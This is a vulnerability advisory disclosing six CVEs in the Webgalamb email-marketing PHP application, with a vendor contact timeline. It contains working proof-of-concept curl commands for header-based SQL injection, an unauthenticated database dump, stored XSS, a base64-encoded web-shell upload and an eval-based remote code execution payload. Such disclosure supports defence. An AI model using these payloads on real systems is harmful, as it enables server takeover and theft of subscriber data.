Webgalamb Information Disclosure / XSS / CSRF / SQL Injection

Credit: Daniel Jones
Risk: Medium
Local: No
Remote: Yes

Summary ------- Vendor: E.N.S. Zrt (www.ens.hu) Product: Webgalamb (www.webgalamb.hu, www.facebook.com/webgalamb) Webgalamb is a commercial email marketing software for managing subscription lists and sending out bulk emails. It is not SaaS but a PHP based web application that is typically hosted next to the company website of Webgalamb customers. Webgalamb is prone to be vulnerable to multiple security flaws that could be exploited by threat actors to take over the complete control of Webgalamb deployments, company websites and also to exfiltrate the email subscription databases. The findings had been verified with latest Webgalamb versions (v6 and v7), older versions are probably also affected. The vendor confirmed the vulnerabilities but the remediation plan was not shared. CVE-2018-19513 Information disclosure ------------------------------------- The log files created by the application are exposed to the internet. The file names are predictable. For example: http://www.victim.tld/webgalamb/files/logs/sql_error_log/2018-10-25-sql_error_log.log The logfile could contain sensitive client data (email addresses) and also facilitates exploitation of SQL injection errors. CVE-2018-19510: SQL injection in insert via Client-IP HTTP header ----------------------------------------------------------------- curl -d "mail=test2@test.tt&save=1" --header "Client-Ip: 'foo" -v "http://www.victim.tld/webgalamb/subscriber.php?g=1&f=b187b56a83" In the SQL log: 2018-10-25 18:06:38 - Url: http://www.victim.tld/webgalamb/subscriber.php?g=1&f=b187b56a83 Bad SQL:[insert into `wg7_users` ( mail, omail, mail_id, ip, ip_orig, datum, verify_code, active, g, a, ipdatum ) values ( 'test2@test.tt', 'test2@test.tt', '3', ''foo', ''foo', CURDATE(), 'k7k64a8kk71811fcb841k71k1f5ffda16ec96eff', '1', '1', '1', now() )]/You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'foo', ''foo', CURDATE(), 'k7k64a8kk71811fcb841k71k1f5ffda16ec96eff', '1', '1', '' at line 2 : (c:\htdocs\webgalamb\subscriber.php:2241) Example of a meaningful SQL injection: curl -d "mail=test4@test.tt&save=1" --header "Client-Ip: ', 5,CURDATE(), 7, 1,9,10, now()), ((SELECT GROUP_CONCAT(conf_value) FROM wg7_config),2,3,4,5,CURDATE(),7,8,65535,1,NOW()) -- foo" -v "http://www.victim.tld/webgalamb/subscriber.php?g=1&f=b187b56a83" An UPDATE wg7_users SQL expression is also vulnerable to the same pattern; it is possible to modify any user subscriptions. CVE-2018-19515: Authentication bypass ------------------------------------- The system/ajax.php script offers various functionality, which is supposed to be available for the administrator of the system only. However, by using one of the bgsend, atment_sddd1xGz or the xls_bgimport query parameters, most of these methods become available. For exploitation, see the next examples. Dumping the database (email addresses of subscribed users), without authentication: curl -d "uidselect=&g=1" http://www.victim.tld/webgalamb/system/ajax.php?atment_sddd1xGz=1 Response: <a href="#" onclick="$('#un').val('test@test.tt '); $('#u_ID').val('1'); return false;">test@test.tt</a> Combining the vulnerabilities above it is possible to exfiltrate any data from the system: curl -d "uidselect=&g=65535" http://www.victim.tld/webgalamb/system/ajax.php?atment_sddd1xGz=1 Response: <a href="#" onclick="$('#un').val('*4AD47E08DAE2BD4F0977EED5D23DC901359DF617,webgalamb/,0,,7.0.0,0,50,foo@foo.fo,foo@foo.fo,2018-10-23,,,,200,300,2018.10.23. 18:15:49,www.victim.tld,10000,0,0,80,30,0,2018-10-23,0,,g_admin,15000,500,5,,,,,,,,,,,,,0, '); $('#u_ID').val('14'); return false;">*4AD47E08DAE2BD4F0977EED5D23DC901359DF617,webgalamb/,0,,7.0.0,0,50,foo@foo.fo,foo@foo.fo,2018-10-23,,,,200,300,2018.10.23. 18:15:49,www.victim.tld,10000,0,0,80,30,0,2018-10-23,0,,g_admin,15000,500,5,,,,,,,,,,,,,0,</a> Note, the response above in this case contains the result of the previously executed config group concat action of wg7_config table, which also includes the password of the administrator (stored via MySQL's PASSWORD() function). CVE-2018-19509: Persistent XSS, targeting the administrator ----------------------------------------------------------- The Webgalamb application seems to make some opportunistic calls to htmlspecialchars() instead of using any templating engines with proper contextual encoding. Since it is possible to insert arbitrary strings to the database, any JavaScripts could be executed by the administrator. curl -d "mail=test5@test.tt&save=1" --header "Client-Ip: ', 5,CURDATE(), 7, 1,9,10, now()), (char(60,115,99,114,105,112,116,62,97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41,60,47,115,99,114,105,112,116,62),2,3,4,5,CURDATE(),7,8,1,1,NOW()) -- foo" -v "http://www.victim.tld/webgalamb/subscriber.php?g=1&f=b187b56a83" view-source:http://www.victim.tld/webgalamb/wg7.php?subscriber_ID=20&g=1&new_subscriber=1&link=g%3D1%26subscribers%3D1 ... <h2><script>alert(document.domain)</script> feliratkozA3 adatai</h2> ... The same XSS attack could be mounted via another entry points as well. CVE-2018-19511: CSRF -------------------- The application does not feature any security measures to prevent CSRF attacks. An external, attacker controlled site could submit a POST HTTP request to http://www.victim.tld/webgalamb/wg7.php?options=1 in the context of an authenticated administrator to change the administrator password and take over the control of a Webgalamb installation. CVE-2018-19512: Arbitrary code execution (as authenticated administrator) ------------------------------------------------------------------------------------ curl -v --header "Cookie: PHPSESSID=762b286eef672d9b618894b7f47a20ca; webgalamb6=3s4kcr7r7r5i47e68002r7ofn5" -F "file=@test-exploit.wgx" http://www.victim.tld/webgalamb/system/ajax.php?wgmfile=1 Where test-exploit.wgx is: @WGMX PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48d2d4PjxpbWFnZXM+PGltYWdlPjxuYW1lPi4uL3B3bmQucGhwPC9uYW1lPjxmaWxlPlBEOXdhSEFLY0dod2FXNW1ieWdwT3dvL1BnPT08L2ZpbGU+PC9pbWFnZT48L2ltYWdlcz48L3dneD4= The code then can be executed via the following HTTP call: http://www.victim.tld/webgalamb/files/images/pwnd.php CVE-2018-19514 Arbitrary remote code execution without authentication --------------------------------------------------------------------- Uploading a CSV file: curl -v -F "file=@import.csv" -F "g=1" "http://www.victim.tld/webgalamb/system/ajax.php?import_fupl=1&atment_sddd1xGz=1" It is placed here: http://www.victim.tld/webgalamb/files/feltolt.csv Processing the file and inserting its lines to the wg7_import table: curl -v --header "Cookie: webgalamb6=pid" -d "xls_converz=1" -d "g=1" -d "exp=.csv" "http://www.victim.tld/webgalamb/system/ajax.php?atment_sddd1xGz=1" Processing it (inserting the data to the fields table): curl -v "http://www.victim.tld/webgalamb/system/ajax.php?xls_bgimport=1&pid=pid&g=1&X=0&Y=0" The exploit payload looks like this (import.csv): ',eval($_SERVER[HTTP_C]),'{{int}} After it was processed, arbitrary commands can be executed via the subscription form: curl -d "mail=test1@test.tt&save=1" --header "C: die(phpinfo());" -v "http://www.victim.tld/webgalamb/subscriber.php?g=1&f=b187b56a83" curl -d "mail=test1@test.tt&save=1" --header "C: die(shell_exec('whoami'));" -v "http://www.victim.tld/webgalamb/subscriber.php?g=1&f=b187b56a83" Timeline -------- 10/27/2018: Initial contact attempt with the vendor 10/31/2018: Second attempt with additional email addresses 10/31/2018: Initial feedback from the vendor, confirming the channel is appropriate for receiving the report 10/31/2018: Report submitted 11/12/2018: Ping 11/12/2018: Webgalamb acknowledging the vulnerabilities 11/12/2018: Communicating planned date of public disclosure once again

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com


Back to Top